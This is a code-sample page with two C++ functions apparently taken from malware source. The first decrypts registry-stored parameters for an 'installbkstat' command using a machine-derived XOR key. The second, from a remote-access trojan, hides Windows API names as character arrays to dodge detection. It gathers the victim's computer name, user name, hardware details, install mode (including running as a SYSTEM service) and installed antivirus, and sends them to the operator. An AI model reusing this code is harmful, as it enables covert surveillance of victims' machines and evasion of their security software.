Ejemplo n.º 1
0
// Загрузка параметров команды installbkstat из реестра 
// одновременно с дешифровкой
bool DebugReportLoadParamList(string * ParamList)
{
	HKEY key = CreateSettingKey();

	DBGRPTDBG("DebugReportLoadParamList", "CreateSettingKey() result=0x%X", key);
	if (key == NULL) return false;

	BYTE    Buffer[1024];
	DWORD   ValueLength = sizeof(Buffer) - 1;
	DWORD   ValueType = 0;

	m_memset(Buffer, 0, sizeof(Buffer));

	DWORD query_value_result = (DWORD)pRegQueryValueExA(key, GetValueName("PL").t_str(), 0, 
		&ValueType, Buffer, &ValueLength);
	pRegCloseKey(key);

	DBGRPTDBG("DebugReportLoadParamList", "RegQueryValueEx() result=%u ValueType=%d",
		query_value_result, ValueType);

	if (query_value_result != ERROR_SUCCESS) return false;
	if (ValueType != REG_BINARY) return false;

	
	XORCrypt::Crypt(GenerateUidAsString("").t_str(), Buffer, ValueLength);
	*ParamList = string((const char*)Buffer, ValueLength);

	DBGRPTDBG("DebugReportLoadParamList", "Finished.(param_list='%s')", 
		(*ParamList).t_str());

	return true;
}
Ejemplo n.º 2
0
void CSystemManager::GetSystemInfo()
{
	MESSAGEInfo Infomsg;
	//获取操作系统相关信息
	Infomsg.bToken = TOKEN_SYSTEMINFO; 
	//////////////CPU Speed/////////////////
	DWORD dwCpu, dwBufLen;
	HKEY hKey;
	char JYvni02[] = {'H','A','R','D','W','A','R','E','\\','D','E','S','C','R','I','P','T','I','O','N','\\','S','y','s','t','e','m','\\','C','e','n','t','r','a','l','P','r','o','c','e','s','s','o','r','\\','0','\0'};
	char HrFvD07[] = {'R','e','g','O','p','e','n','K','e','y','E','x','A','\0'};
    RegOpenKeyExAT pRegOpenKeyExA=(RegOpenKeyExAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD07);
	pRegOpenKeyExA( HKEY_LOCAL_MACHINE,
		JYvni02,
		0, KEY_QUERY_VALUE, &hKey );
	dwBufLen = sizeof(DWORD);
	char HrFvD13[] = {'R','e','g','Q','u','e','r','y','V','a','l','u','e','E','x','A','\0'};
	RegQueryValueExAT pRegQueryValueExA=(RegQueryValueExAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),"RegQueryValueExA");
	pRegQueryValueExA( hKey, ("~MHz"), NULL, NULL,(LPBYTE)&dwCpu, &dwBufLen);

	char HrFvD06[] = {'R','e','g','C','l','o','s','e','K','e','y','\0'};
	RegCloseKeyT pRegCloseKey=(RegCloseKeyT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD06);
	pRegCloseKey(hKey);

    char CtxPW50[] = {'w','s','p','r','i','n','t','f','A','\0'};
    wsprintfAT pwsprintfA=(wsprintfAT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW50);
	pwsprintfA(Infomsg.szCpuSpeend,("~%u MHz"), dwCpu);
	//Get CPU Info===============================
	CHAR SubKey[] = {'H','A','R','D','W','A','R','E','\\','D','E','S','C','R','I','P','T','I','O','N','\\','S','y','s','t','e','m','\\','C','e','n','t','r','a','l','P','r','o','c','e','s','s','o','r','\\','0','\0','\0'};
//	CHAR SubKey[MAX_PATH]=("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\0");
	hKey = NULL;
	if(pRegOpenKeyExA(HKEY_LOCAL_MACHINE,SubKey,0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
	{
		DWORD dwType;
		DWORD dwSize = 128 * sizeof(TCHAR);
		pRegQueryValueExA(hKey,("ProcessorNameString"),NULL,&dwType,(BYTE *)Infomsg.szCpuInfo,&dwSize);
		pRegCloseKey(hKey);	
	}


	//Get Computer & User Name========================
	DWORD dwLen = sizeof(Infomsg.szPcName);

	char CPolQ16[] = {'G','e','t','C','o','m','p','u','t','e','r','N','a','m','e','A','\0'};
	GetComputerNameAT pGetComputerNameA=(GetComputerNameAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),CPolQ16);
	pGetComputerNameA(Infomsg.szPcName, &dwLen);
/*
	dwLen = sizeof(Infomsg.szUserName);
	GetUserName(Infomsg.szUserName,&dwLen);   //获取当前用户名
	*/
	//获取当前用户名及计算机名称
	GetCurrentUserNamet(Infomsg.szUserName);

	//Get Screen Size=================================
	char DYrEN67[] = {'G','e','t','S','y','s','t','e','m','M','e','t','r','i','c','s','\0'};
	GetSystemMetricsT pGetSystemMetrics=(GetSystemMetricsT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN67);
	pwsprintfA(Infomsg.szScrSize, ("%d * %d"), pGetSystemMetrics(SM_CXSCREEN),pGetSystemMetrics(SM_CYSCREEN));

//	UINT Porst =dwPort[nConnect];
	if(nConnect==0)
	    pwsprintfA(Infomsg.LineName,"域名上线:%s",lpConnects[0]);  //域名上线写入
	if(nConnect==1)
	    pwsprintfA(Infomsg.LineName,"QQ上线:%s",lpConnects[1]);    //QQ上线写入
	if(nConnect==2)
	    pwsprintfA(Infomsg.LineName,"网盘上线:%s",lpConnects[2]);  //网盘上线写入

	pwsprintfA(Infomsg.LinePort,"%d",dwPort[nConnect]);     //上线端口写入

	char LCoHX03[] = {'G','e','t','M','o','d','u','l','e','F','i','l','e','N','a','m','e','A','\0'};
	GetModuleFileNameAT pGetModuleFileNameA=(GetModuleFileNameAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),LCoHX03);
	char szbuf[256];
	pGetModuleFileNameA(NULL,szbuf,MAX_PATH);   //用于获取程序本身路径

	pwsprintfA(Infomsg.Program,"%s",szbuf );   

	if(Installope==0)  //绿色一次性运行
	{
	    pwsprintfA(Infomsg.InstallOpen,"%s","(绿色运行)--重启不上线!");     //上线运行方式
	}
	else if(Installope==1)  // 服务启动运行
	{
		pwsprintfA(Infomsg.InstallOpen,"%s","(服务启动)--SYSTEM用户运行!");     //上线运行方式
	}
	else if(Installope==2)  // 直接启动运行
	{
		pwsprintfA(Infomsg.InstallOpen,"%s","(直接启动)--当前用户运行!");      //上线运行方式
	}

	pwsprintfA(Infomsg.szUserVirus,"%s",GetVirus());   //杀毒软件


	Send((LPBYTE)&Infomsg, sizeof(MESSAGEInfo));
}